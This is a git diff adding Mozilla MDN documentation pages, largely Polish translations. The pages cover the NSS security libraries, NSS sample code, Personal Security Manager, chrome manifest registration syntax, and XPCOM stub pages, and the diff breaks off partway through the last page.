+<p><strong>Network Security Services</strong> (<strong>NSS</strong>) is a set of libraries designed to support cross-platform development of security-enabled client and server applications. Applications built with NSS can support SSL v2 and v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3 certificates, and other security standards.</p>
+<p>For detailed information on standards supported, see <a href="/en-US/docs/Overview_of_NSS" title="Overview_of_NSS">Overview of NSS</a>. For a list of frequently asked questions, see the <a href="/en-US/docs/NSS_FAQ" title="NSS_FAQ">FAQ</a>.</p>
+<p>NSS is available under the Mozilla Public License. For information on downloading NSS releases as tar files, see <a href="https://developer.mozilla.org/en-US/docs/NSS_Sources_Building_Testing">Download PKI Source</a>.</p>
+<p>If you're a developer and would like to contribute to NSS, you might want to read the documents <a href="/en-US/docs/An_overview_of_NSS_Internals" title="/en-US/docs/An_overview_of_NSS_Internals">highlevel overview of internal details of NSS</a> and <a href="/en-US/docs/Getting_Started_With_NSS" title="/en-US/docs/Getting_Started_With_NSS">getting started with NSS</a>.</p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+ <h3 id="Background_Information">Background Information</h3>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Overview_of_NSS">Overview of NSS</a></dt>
+ <dd>
+ Provides a brief summary of NSS and its capabilities.</dd>
+ <dt>
+ <a href="/en-US/docs/NSS_FAQ">NSS FAQ</a></dt>
+ <dd>
+ Answers basic questions about NSS.</dd>
+ <dt>
+ <a href="/en-US/docs/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt>
+ <dd>
+ Explains the basic concepts of public-key cryptography that underlie NSS.</dd>
+ <dt>
+ <a href="/en-US/docs/Introduction_to_SSL">Introduction to SSL</a></dt>
+ <dd>
+ Introduces the SSL protocol, including information about cryptographic ciphers supported by SSL and the steps involved in the SSL handshake.</dd>
+ </dl>
+ <h3 id="Getting_Started">Getting Started</h3>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/NSS/NSS_Releases" title="NSS_releases">NSS Releases</a></dt>
+ <dd>
+ This page contains information about the current and past releases of NSS.</dd>
+ <dt>
+ <a href="/en-US/docs/NSS_Sources_Building_Testing">Get the source code and Build it</a></dt>
+ <dd>
+ Instructions on how to build NSS on the different supported platforms.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Get Mozilla Source Code Using Mercurial</a></dt>
+ <dd>
+ Information about with working with Mercurial.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Developer_guide/Source_Code/CVS">Get Mozilla Source Code Using CVS (deprecated)</a></dt>
+ <dd>
+ Old deprecated CVS documentation.</dd>
+ </dl>
+ <h3 id="NSS_APIs">NSS APIs</h3>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Introduction_to_Network_Security_Services">Introduction to Network Security Services</a></dt>
+ <dd>
+ Provides an overview of the NSS libraries and what you need to know to use them.</dd>
+ <dt>
+ <a href="NSS/SSL_functions">NSS Public Functions</a></dt>
+ <dd>
+ Summarizes the APIs exported by the NSS shared libraries.</dd>
+ <dt>
+ <a href="/en-US/docs/NSS_reference">NSS Reference</a></dt>
+ <dd>
+ API used to invoke SSL operations.</dd>
+ <dt>
+ <a href="NSS/NSS_API_GUIDELINES">NSS API Guidelines</a></dt>
+ <dd>
+ Explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.)</dd>
+ <dt>
+ <a href="NSS/nss_tech_notes">NSS Technical Notes</a></dt>
+ <dd>
+ Links to NSS technical notes, which provide latest information about new NSS features and supplementary documentation for advanced topics in programming with NSS.</dd>
+ </dl>
+ <h3 id="Tools_testing_and_other_technical_details">Tools, testing, and other technical details</h3>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/NSS_Sources_Building_Testing">Build Instructions for NSS</a></dt>
+ <dd>
+ Describe how to check out and build NSS releases.</dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Projects/NSS/NSS_Developer_Tutorial">NSS Developer Tutorial</a></dt>
+ <dd>
+ How to make changes in NSS. Coding style, maintaining ABI compatibility.</dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="NSS/Tools">NSS Tools</a></dt>
+ <dd>
+ Tools for developing, debugging, and managing applications that use NSS.</dd>
+ <dt>
+ <a href="NSS/NSS_Sample_Code">Sample Code</a></dt>
+ <dd>
+ Demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc.</dd>
+ <dt>
+ <a href="http://www-archive.mozilla.org/projects/security/pki/nss/testnss_32.html">NSS 3.2 Test Suite</a></dt>
+ <dd>
+ <b>Archived version.</b> Describes how to run the standard NSS tests.</dd>
+ <dt>
+ <a href="http://www-archive.mozilla.org/projects/security/pki/nss/performance_reports.html">NSS Performance Reports</a></dt>
+ <dd>
+ <b>Archived version.</b> Links to performance reports for NSS 3.2 and later releases.</dd>
+ <dt>
+ <a href="http://www-archive.mozilla.org/projects/security/pki/nss/nss-3.11/nss-3.11-algorithms.html">Encryption Technologies Available in NSS 3.11</a></dt>
+ <dd>
+ <b>Archived version.</b> Lists the cryptographic algorithms used by NSS 3.11.</dd>
+ <dt>
+ <a href="http://www-archive.mozilla.org/projects/security/pki/nss/loadable_certs.html">NSS 3.1 Loadable Root Certificates</a></dt>
+ <dd>
+ <b>Archived version.</b> Describes the scheme for loading root CA certificates.</dd>
+ <dt>
+ <a href="http://www-archive.mozilla.org/projects/security/pki/nss/db_formats.html">cert7.db</a></dt>
+ <dd>
+ <b>Archived version.</b> General format of the cert7.db database.</dd>
+ </dl>
+ <h3 id="PKCS_11_information">PKCS #11 information</h3>
+ <ul>
+ <li><a href="/en-US/docs/PKCS11" title="PKCS11">Documentation on PKCS #11 modules</a></li>
+ <li><a href="/en-US/docs/PKCS11_Implement">Implementing PKCS #11 for NSS</a></li>
+ <li><a href="/en-US/docs/PKCS11_Module_Specs" title="PKCS11_Module_Specs">The strings NSS uses to load PKCS #11 modules</a></li>
+ <li><a href="/en-US/docs/PKCS11_FAQ">PKCS #11 FAQ</a></li>
+ <li><a href="/en-US/docs/PKCS11_Jar_Install">Using the JAR Installation Manager to Install a PKCS #11 Cryptographic Module</a></li>
+ <li><a href="http://www-archive.mozilla.org/projects/security/pki/pkcs11/">PKCS #11 Conformance Testing - Archived version</a></li>
+ </ul>
+ <dl>
+ </dl>
+ <h3 id="CA_certificates_pre-loaded_into_NSS">CA certificates pre-loaded into NSS</h3>
+ <ul>
+ <li><a href="http://www.mozilla.org/projects/security/certs/policy/">Mozilla CA certificate policy</a></li>
+ <li><a href="http://www.mozilla.org/projects/security/certs/included/">List of pre-loaded CA certificates</a>
+ <ul>
+ <li>Consumers of this list must consider the trust bit setting for each included root certificate. <a href="https://www.imperialviolet.org/2012/01/30/mozillaroots.html">More Information</a>, <a href="https://github.com/agl/extract-nss-root-certs">Extracting roots and their trust bits</a></li>
+ </ul>
+ </li>
+ </ul>
+ <dl>
+ </dl>
+ <h3 id="NSS_is_built_on_top_of_Netscape_Portable_Runtime_(NSPR)">NSS is built on top of Netscape Portable Runtime (NSPR)</h3>
+ <dl>
+ <dt>
+ <a href="NSPR">Netscape Portable Runtime</a></dt>
+ <dd>
+ NSPR project page.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Projects/NSPR/Reference">NSPR Reference</a></dt>
+ <dd>
+ NSPR API documentation.</dd>
+ </dl>
+ <h3 id="Additional_Information">Additional Information</h3>
+ <ul>
+ <li><a href="/en-US/docs/JavaScript_crypto" title="JavaScript_crypto">Using the window.crypto object from JavaScript</a></li>
+ <li><a href="/en-US/docs/HTTP_Delegation" title="HTTP_Delegation">Delegation of HTTP download for OCSP</a></li>
+ <li><a href="/en-US/docs/TLS_Cipher_Suite_Discovery" title="TLS_Cipher_Suite_Discovery">TLS Cipher Suite Discovery</a></li>
+ <li><a href="/en-US/docs/NSS_Certificate_Download_Specification" title="NSS_Certificate_Download_Specification">NSS Certificate Download Specification</a></li>
+ <li><a href="/en-US/docs/NSS/FIPS_Mode_-_an_explanation" title="FIPS Mode - an explanation">FIPS Mode - an explanation</a></li>
+ <li><a href="/en-US/docs/NSS_Key_Log_Format" title="NSS Key Log Format">Format of key log files</a></li>
+ <li>View <a href="/en-US/docs/tag/NSS" title="/en-US/docs/tag/NSS">all NSS-related articles on MDN</a></li>
+ </ul>
+ <h3 id="Testing">Testing</h3>
+ <ul>
+ <li><a href="/en-US/docs/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS" title="Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS">Testing third-party PKCS #11 modules/tokens with NSS</a></li>
+ </ul>
+ <h3 id="Planning">Planning</h3>
+ <p>Information on NSS planning can be found at <a class="external" href="http://wiki.mozilla.org/NSS">wiki.mozilla.org</a>, including:</p>
+ <ul>
+ <li><a class="external" href="http://wiki.mozilla.org/FIPS_Validation">FIPS Validation</a></li>
+ <li><a class="external" href="http://wiki.mozilla.org/NSS:Roadmap">NSS Roadmap page</a></li>
+ <li><a href="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness" title="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness">NSS Improvement Project</a></li>
+ </ul>
+ </td>
+ <td>
+ <h2 class="Community" id="Community" name="Community">Community</h2>
+ <ul>
+ <li>View Mozilla Security forums...</li>
+ </ul>
+ <p>{{ DiscussionList("dev-security", "mozilla.dev.security") }}</p>
+ <ul>
+ <li>View Mozilla Cryptography forums...</li>
+ </ul>
+ <p>{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}</p>
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+ <ul>
+ <li><a href="/en-US/docs/Security" title="Security">Security</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/mozilla/projects/nss/probka_kodu_nss/index.html b/files/pl/mozilla/projects/nss/probka_kodu_nss/index.html
new file mode 100644
index 0000000000..3fcb3c95a7
--- /dev/null
+++ b/files/pl/mozilla/projects/nss/probka_kodu_nss/index.html
@@ -0,0 +1,22 @@
+---
+title: Próbka Kodu NSS
+slug: Mozilla/Projects/NSS/Probka_Kodu_NSS
+tags:
+ - NSS
+translation_of: Mozilla/Projects/NSS/NSS_Sample_Code
+---
+<h2 id="Próbka_kodu_NSS">Próbka kodu NSS</h2>
+<p>Zbiór przykładowych programów demonstruje zastosowanie NSS do zadań związanych z kryptografią, obsługą certyfikatów, SSL, itp. Prezentuje też dobre praktyki w stosowaniu kryptografii.</p>
+<p> </p>
+<ol>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Próbka 1: Generacja Kluczy i Transport Między Serwerami</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample2">Próbka 2: Szyfrowanie Symetryczne</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample3">Próbka 3: Haszowanie, MAC</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample4">Próbka 4: Kryptografia PKI</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample5">Próbka 5: Kryptografia PKI poprzez publiczny i prywatny klucz w formacie DER</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample6">Próbka 6: Stałe Klucze Symetryczne w bazie danych NSS</a></li>
+</ol>
+<p><br>
+ To dość stare przykłady, które należy zastąpić. Sprawdź https://bugzilla.mozilla.org/show_bug.cgi?id=490238</p>
+<p>Dostępne jest tymczasowe repozytorium gita z aktualnie rozwijanymi projektami</p>
+<pre class="bz_comment_text" id="comment_text_42">git clone git://fedorapeople.org/~emaldonado/samples.git</pre>
diff --git a/files/pl/mozilla/projects/pzbo/index.html b/files/pl/mozilla/projects/pzbo/index.html
new file mode 100644
index 0000000000..9a9cdc8761
--- /dev/null
+++ b/files/pl/mozilla/projects/pzbo/index.html
@@ -0,0 +1,15 @@
+---
+title: >-
+ Program Zarządzający Bezpieczeństwem Osobistym (ang. Personal Security
+ Manager)
+slug: Mozilla/Projects/PZBO
+translation_of: Mozilla/Projects/PSM
+---
+<p>Program Zarządzający Bezpieczeństwem Osobistym (PZBO) składający się ze zbioru bibliotek, wykonuje operacje kodujące w imieniu aplikacji klienckiej. W skład operacji wchodzą ustanawianie połączeń SSL, podpisywanie i weryfikacja podpisu, certyfikat zarządzania (w tym wydanie lub unieważnienie certyfikatu) jak również inne ogólne funkcje Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure).</p>
+
+<p>Uwagi:</p>
+
+<ul>
+ <li>PZBO jest teraz częścią przeglądarki Firefox i nie posiada osobnej instrukcji.</li>
+ <li>Zarchiwizowane dane na temat PZBO</li>
+</ul>
diff --git a/files/pl/mozilla/rejestracja_chrome/index.html b/files/pl/mozilla/rejestracja_chrome/index.html
new file mode 100644
index 0000000000..eb0dc9d4a5
--- /dev/null
+++ b/files/pl/mozilla/rejestracja_chrome/index.html
@@ -0,0 +1,129 @@
+---
+title: Rejestracja Chrome
+slug: Mozilla/Rejestracja_Chrome
+tags:
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Mozilla/Chrome_Registration
+---
+<p> </p>
+<h3 id="Czym_jest_chrome.3F" name="Czym_jest_chrome.3F">Czym jest chrome?</h3>
+<p><a href="pl/Chrome">Chrome</a> to zestaw elementów interfejsu użytkownika, które znajdują się poza obszarem treści okna. Paski narzędzi, paski menu, paski postępu i pola tytułu okna to przykłady elementów, które są zazwyczaj elementami chrome.</p>
+<h3 id="Dostawcy_chrome" name="Dostawcy_chrome">Dostawcy chrome</h3>
+<p>Jednostka dostarczająca chrome dla danego okna (np. dla okna przeglądarki) nazywana jest dostawcą chrome (ang. chrome provider). Dostawcy pracują wspólnie, aby dostarczyć pełny zestaw chrome dla danego typu okna, od obrazków na paskach narzędziowych po pliki zawierające ciągi znakowe, treść oraz opis prezentacji samego okna.</p>
+<p>Są trzy podstawowe typy dostawców chrome:</p>
+<h4 id="Zawarto.C5.9B.C4.87_.28ang._Content.29" name="Zawarto.C5.9B.C4.87_.28ang._Content.29">Zawartość (ang. Content)</h4>
+<p>Główne źródła plików do opisu okna pochodzą z dostawcy zawartości i może to być dowolny plik, który może zostać wyświetlony w Mozilli. Będzie to zazwyczaj plik XUL, ponieważ język XUL jest stworzony do opisywania zawartości okien i okienek dialogowych. Pliki JavaScript opisujące interfejs użytkownika oraz pliki wiążące XBL również są trzymane w pakietach zawartości.</p>
+<h4 id="Pliki_lokalizacyjne_.28ang._Locale.29" name="Pliki_lokalizacyjne_.28ang._Locale.29">Pliki lokalizacyjne (ang. Locale)</h4>
+<p>Aplikacje, które można zlokalizować trzymają wszystkie lokalizowane informacje w dostawcy tekstów. To pozwala tłumaczom dołączać zewnętrzną paczkę chrome z tłumaczeniem aplikacji, bez potrzeby dotykania reszty kodu. Dwoma podstawowymi rodzajami plików tłumaczeń są pliki DTD oraz pliki własności znane z Javy.</p>
+<h4 id="Sk.C3.B3rki_.28ang._Skin.29" name="Sk.C3.B3rki_.28ang._Skin.29">Skórki (ang. Skin)</h4>
+<p>Dostawca skórek jest odpowiedzialny za dostarczanie pełnego zestawu plików opisujących wygląd chrome. Zazwyczaj dostawca skórek dostarcza pliki CSS i obrazki.</p>
+<h3 id="Rejestr_chrome" name="Rejestr_chrome">Rejestr chrome</h3>
+<p>Środowisko Gecko zarządza serwisem znanym jako rejestr chrome, który dostarcza mapowanie nazw z przestrzeni chrome na fizyczne lokalizacje pakietów chrome na dysku.</p>
+<p>Rejestr chrome jest konfigurowalny i trwały, dzięki czemu użytkownik może instalować różnych dostawców chrome i używać preferowanej skórki lub języka. Ten proces jest dokonywany poprzez XPInstall oraz menedżer rozszerzeń.</p>
+<p>W celu informowania rejestru chrome o dostępności chrome używany jest tekst manifestu (ang. text manifest): ten plik nosi nazwę "chrome.manifest" i jest trzymany w korzeniu rozszerzenia lub motywu, oraz chrome/*.manifest w aplikacji XULRunnera.</p>
+<p>Manifest chrome w postaci czystego tekstu ma prostą postać liniową. Każda linia jest przetwarzana niezależnie; jeżeli linia nadaje się do przetworzenia, rejestry chrome wykonują akcję określoną przez tę linię; w przeciwnym wypadku, rejestry chrome ignorują ją (oraz wypisują ostrzeżenie w konsoli błędów).</p>
+<pre class="eval">locale nazwapakietu nazwajezyka sciezka/do/pliku
+skin nazwapakietu nazwaskorki sciezka/do/pliku
+</pre>
+<h3 id="Instrukcje_manifestu" name="Instrukcje_manifestu">Instrukcje manifestu</h3>
+<h4 id="Komentarze" name="Komentarze">Komentarze</h4>
+<p>Możemy wprowadzić linię komentarza zaczynając komentarz znakiem '#'. Jakiekolwiek inne znaki w tej linii zostaną zignorowane.</p>
+<pre class="eval"># to jest linia komentarza - możemy ją umieścić w każdym miejscu
+</pre>
+<h4 id="zawarto.C5.9B.C4.87_.28content.29" name="zawarto.C5.9B.C4.87_.28content.29">zawartość (content)</h4>
+<p>Zawartość pakietu jest rejestrowana poprzez linię</p>
+<pre class="eval">content<i>nazwapakietu</i><i>uri/do/plików/</i><i>[flagi]</i>
+</pre>
+<p>Taka linia zarejestruje położenie podczas odtwarzania ścieżki <a class="external" rel="freelink">chrome://</a>
+ <i>
+ nazwapakietu</i>
+ /content/... . URI może być względną lub bezwzględną ścieżką do pliku manifestu.</p>
+<h4 id="pliki_j.C4.99zykowe_.28locale.29" name="pliki_j.C4.99zykowe_.28locale.29">pliki językowe (locale)</h4>
+<p>Pakiet językowy jest rejestrowany poprzez linię</p>
+<pre class="eval">locale<i>nazwapakietu</i><i>nazwajęzyka</i><i>uri/do/plików/</i><i>[flagi]</i>
+</pre>
+<p>Taka linia zarejestruje pakiet językowy przy odtwarzaniu ścieżki <a class="external" rel="freelink">chrome://</a>
+ <i>
+ nazwapakietu</i>
+ /locale/... .
+ <i>
+ nazwajęzyka</i>
+ jest zazwyczaj identyfikatorem języka jak "pl" lub identyfikatorem typu język-kraj jak "pt-BR". Jeżeli dla danego pakietu zarejestrowany jest więcej niż jeden pakiet językowy, rejestr chrome wybierze najbardziej pasujący do preferencji użytkownika.</p>
+<h4 id="sk.C3.B3rki_.28skin.29" name="sk.C3.B3rki_.28skin.29">skórki (skin)</h4>
+<p>Pakiet skórek jest rejestrowany poprzez linię</p>
+<pre class="eval">skin<i>nazwapakietu</i><i>nazwaskorki</i><i>uri/do/plików/</i><i>[flagi]</i>
+</pre>
+<p>Taka linia zarejestruje pakiet skórek przy odtwarzaniu ścieżki <a class="external" rel="freelink">chrome://</a>
+ <i>
+ nazwapakietu</i>
+ /skin/... .
+ <i>
+ nazwaskorki</i>
+ jest zazwyczaj identyfikatorem określającym instalowaną skórkę. Jeżeli dla danego pakietu zarejestrowany jest więcej niż jeden pakiet skórek, rejestr chrome wybierze najbardziej pasujący do preferencji użytkownika.</p>
+<h4 id="Nak.C5.82adki_.28overlays.29" name="Nak.C5.82adki_.28overlays.29">Nakładki (overlays)</h4>
+<p>Nakładki XUL są rejestrowane przy użyciu poniższej składni:</p>
+<pre class="eval">overlay <a class="external" rel="freelink">chrome://</a><i>URI-do-pliku-nakładki</i> <a class="external" rel="freelink">chrome://</a><i>URI-nakładki</i><i>[flagi]</i>
+</pre>
+<h4 id="style" name="style">style</h4>
+<p>Nakładki stylów (własne pliki CSS, które będą nakładane na strony chrome) są rejestrowane przy użyciu poniższej składni:</p>
+<pre class="eval">style <a class="external" rel="freelink">chrome://</a><i>URI-do-pliku</i> <a class="external" rel="freelink">chrome://</a><i>URI-arkusza-stylów</i>
+</pre>
+<h4 id="nadpisywanie_.28override.29" name="nadpisywanie_.28override.29">nadpisywanie (override)</h4>
+<p>W pewnych przypadkach rozszerzenia mogą chcieć nadpisać pliki chrome dołączone do aplikacji lub XulRunnera. Aby to zrobić, należy skorzystać z instrukcji "override" w pliku manifestu:</p>
+<pre class="eval">override <a class="external" rel="freelink">chrome://</a><i>pakiet</i>/<i>typ</i>/<i>original-uri.whatever</i><i>new-resolved-URI</i>
+</pre>
+<h3 id="Flagi_manifestu" name="Flagi_manifestu">Flagi manifestu</h3>
+<p>Linie manifestu mogą mieć flagi dodane na końcu linii rejestracji. Te flagi oznaczają specjalne atrybuty, lub ograniczają warunki w których dana linia zostanie użyta.</p>
+<h4 id="aplikacja_.28application.29" name="aplikacja_.28application.29">aplikacja (application)</h4>
+<p>Rozszerzenia mogą być instalowane jako wiele aplikacji. Mogą istnieć linie rejestracyjne chrome, które dotyczą tylko wybranych aplikacji. Flaga</p>
+<pre class="eval">application=<i>app-ID</i>
+</pre>
+<p>określa, że ta instrukcja ma dotyczyć wyłącznie rozszerzeń instalowanych w aplikacji określonej przez
+ <i>
+ app-ID</i>
+ . Można określić wiele flag aplikacji w jednej linii, i w tym wypadku linia zostanie wykonana, jeśli którakolwiek z nich będzie pasować.</p>
+<h4 id="appversion" name="appversion">appversion</h4>
+<p>Rozszerzenia mogą być instalowane w wielu wersjach aplikacji. Można stworzyć linie rejestracji chrome, które będą dotyczyły tylko wybranych wersji aplikacji. Flaga</p>
+<pre class="eval">appversion=<i>version</i>
+appversion&lt;<i>version</i>
+appversion&lt;=<i>version</i>
+appversion&gt;<i>version</i>
+appversion&gt;=<i>version</i>
+</pre>
+<p>określa, że instrukcja ma dotyczyć wyłącznie, jeżeli rozszerzenie jest instalowane w aplikacji o pasującej wersji. Można określić wiele flag appversion w jednej linii, i w tym wypadku linia zostanie wykonana, jeśli którakolwiek z nich będzie pasować.</p>
+<h4 id="platform_.28Pakiety_dotycz.C4.85ce_platformy.29" name="platform_.28Pakiety_dotycz.C4.85ce_platformy.29">platform (Pakiety dotyczące platformy)</h4>
+<p>Niektóre pakiety posiadają specjalną flagę oznaczającą, że dany pakiet jest dla konkretnej platformy. Niektóre elementy zawartości, skórki, tekstów mogą być różne zależnie od platformy, na której aplikacja została uruchomiona. Te pakiety posiadają trzy różne zestawy plików, dla windows/os2, macintosha oraz platform uniksowych. Na przykład kolejność przycisków "OK" i "anuluj" w okienkach dialogowych jest różna, tak samo jak nazwy niektórych elementów. Modyfikator "platformy" jest przetwarzany tylko dla rejestracji zawartości, nie jest używany przy rejestracji pakietów językowych lub skórek.</p>
+<p>Aby oznaczyć, że dany pakiet zawartości jest przeznaczony dla konkretnej platformy, należy dodać flagę "platform" za ścieżką; np.</p>
+<pre class="eval">content global-platform jar:toolkit.jar!/toolkit/content/global-platform/ platform
+</pre>
+<p>Mając to zdefiniowane w pliku manifestu, należy się upewnić, że w w katalogu global-platform znajdują się podkatalogi <code>win</code> (Windows/OS2), <code>mac</code> (OS9/OSX), lub <code>unix</code> (Wszystko inne). Wszystko, co znajduje się poza tymi podkatalogami, zostanie zignorowane.</p>
+<h4 id="xpcnativewrappers" name="xpcnativewrappers">xpcnativewrappers</h4>
+<p>Pakiety chrome mogą decydować, czy chcą użyć mechanizmu bezpieczeństwa xpcnativewrappers, aby chronić swój kod przed nieuprawnionym dostępem do treści. Zajrzyj do <a href="pl/Bezpieczny_dost%c4%99p_do_zawarto%c5%9bci_DOM_z_chrome">Bezpieczny dostęp do zawartości DOM z chrome</a> po więcej szczegółów.</p>
+<p>W wydaniu Firefox 1.5 alpha (Deer Park alpha), ta flaga jest *wyłączona* domyślnie i musi zostać ręcznie włączona poprzez ustawienie xpcnativewrappers=yes.</p>
+<p>Od pierwszego wydania Firefox 1.5 beta, ta flaga będzie domyślnie włączona i rozszerzenia potrzebujące niebezpiecznego dostępu do zawartości obiektów będą musiały ustawić xpcnativewrappers=no.</p>
+<p>Flaga xpcnativewrappers dotyczy tylko pakietu content: nie jest rozpoznawana w rejestrach locali ani skórek.</p>
+<h3 id="Przyk.C5.82adowy_Manifest_Chrome" name="Przyk.C5.82adowy_Manifest_Chrome">Przykładowy Manifest Chrome</h3>
+<pre class="eval">content necko jar:comm.jar!/content/necko/ xpcnativewrappers=yes
+locale necko en-US jar:en-US.jar!/locale/en-US/necko/
+content xbl-marquee jar:comm.jar!/content/xbl-marquee/
+content pipnss jar:pipnss.jar!/content/pipnss/
+locale pipnss en-US jar:en-US.jar!/locale/en-US/pipnss/
+# Firefox-only
+overlay <a class="external" rel="freelink">chrome://browser/content/pageInfo.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PageInfoOverlay.xul</a> application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+overlay <a class="external" rel="freelink">chrome://communicator/content/pref/preftree.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PrefOverlay.xul</a>
+overlay <a class="external" rel="freelink">chrome://navigator/content/pageInfo.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PageInfoOverlay.xul</a> <a class="link-mailto" href="mailto:application=seamonkey@applications.mozilla.org" rel="freelink">application=seamonkey@applications.mozilla.org</a>
+content pippki jar:pippki.jar!/content/pippki/ xpcnativewrappers=yes
+locale pippki en-US jar:en-US.jar!/locale/en-US/pippki/
+content global-platform jar:toolkit.jar!/content/global-platform/ platform
+skin global classic/1.0 jar:classic.jar!/skin/classic/global/
+override <a class="external" rel="freelink">chrome://global/content/netError.xhtml</a> jar:embedder.jar!/global/content/netError.xhtml
+content inspector jar:inspector.jar!/content/inspector/ xpcnativewrappers=no
+</pre>
+<h3 id="Manifesty_starego_typu_contents.rdf" name="Manifesty_starego_typu_contents.rdf">Manifesty starego typu contents.rdf</h3>
+<p>Zanim manifesty czysto tekstowe zostały wprowadzone (nastąpiło to w Firefoksie 1.5, Toolkit 1.8), używane były manifesty RDF nazywane "contents.rdf". Ten format jest teraz wycofywany; jednakże, Mozilla suite (Seamonkey) nie obsługuje jeszcze manifestów czysto tekstowych, więc manifesty contents.rdf są wymagane dla rozszerzeń, które chcą zachować wsteczną zgodność z Firefoksem 1.0 oraz suite.</p>
+<h3 id="Oficjalne_dokumentacje_dla_Toolkit_API" name="Oficjalne_dokumentacje_dla_Toolkit_API">Oficjalne dokumentacje dla <a href="pl/Toolkit_API">Toolkit API</a></h3>
+<p>{{ page("pl/docs/Toolkit_API/Official_References") }}</p>
+<div class="noinclude">
+  </div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/index.html b/files/pl/mozilla/tech/index.html
new file mode 100644
index 0000000000..27f7f56e0c
--- /dev/null
+++ b/files/pl/mozilla/tech/index.html
@@ -0,0 +1,17 @@
+---
+title: Mozilla technologies
+slug: Mozilla/Tech
+tags:
+ - Landing
+ - Mozilla
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - XUL
+translation_of: Mozilla/Tech
+---
+<p>(pl translation)</p>
+
+<p>Mozilla has several technologies used as components of its projects. These are documented here. (flesh out this text).</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pl/mozilla/tech/xpcom/language_bindings/index.html b/files/pl/mozilla/tech/xpcom/language_bindings/index.html
new file mode 100644
index 0000000000..e115bb0515
--- /dev/null
+++ b/files/pl/mozilla/tech/xpcom/language_bindings/index.html
@@ -0,0 +1,25 @@
+---
+title: Language bindings
+slug: Mozilla/Tech/XPCOM/Language_Bindings
+tags:
+ - Embedding
+ - Landing
+ - Mozilla
+ - NeedsTranslation
+ - TopicStub
+ - XPCOM
+ - 'XPCOM:Language Bindings'
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings
+---
+<p>An <strong>XPCOM Language Binding</strong> is a bridge between a particular language and <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.</p>
+<p>More specifically, an XPCOM language binding:</p>
+<ul>
+ <li>Enables <em>access to XPCOM objects from that language</em> (where access means reading/writing/creating XPCOM objects as well as calling methods on them).</li>
+ <li>Exposes <em>modules written in the bound language as XPCOM objects</em>, thereby enabling all other languages for which XPCOM bindings exist to access these modules.</li>
+</ul>
+<p>Since the XPCOM layer itself is written in C/C++, its API can be accessed out-of-the-box using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required.</p>
+<p>The following bridging layers are currently available:</p>
+<p></p><div class="row topicpage-table">
+ <div class="section"><dl><dl><dt class="landingPageList"><a href="/pl/docs/Components.utils">Components.utils</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/pl/docs/Components.utils.reportError">Components.utils.reportError</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/pl/docs/Components.utils.Sandbox">Components.utils.Sandbox</a></dt><dd class="landingPageList"></dd></dl></dl></div>
+ <div class="section"><dl><dt class="landingPageList"><a href="/pl/docs/JavaXPCOM">JavaXPCOM</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/pl/docs/PyXPCOM">PyXPCOM</a></dt><dd class="landingPageList"></dd></dl></div>
+ </div><p></p>
diff --git a/files/pl/mozilla/tech/xpcom/reference/index.html b/files/pl/mozilla/tech/xpcom/reference/index.html
new file mode 100644
index 0000000000..191cbc144e
--- /dev/null
+++ b/files/pl/mozilla/tech/xpcom/reference/index.html
@@ -0,0 +1,21 @@
+---
+title: XPCOM reference
+slug: Mozilla/Tech/XPCOM/Reference
+tags:
+ - Landing
+ - Mozilla
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Reference
+---
+<p>This reference describes the interfaces and functions provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM">XPCOM</a> library. In addition, it details the various helper classes and functions, as well as the components, provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a> library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.</p>
+<div class="note">
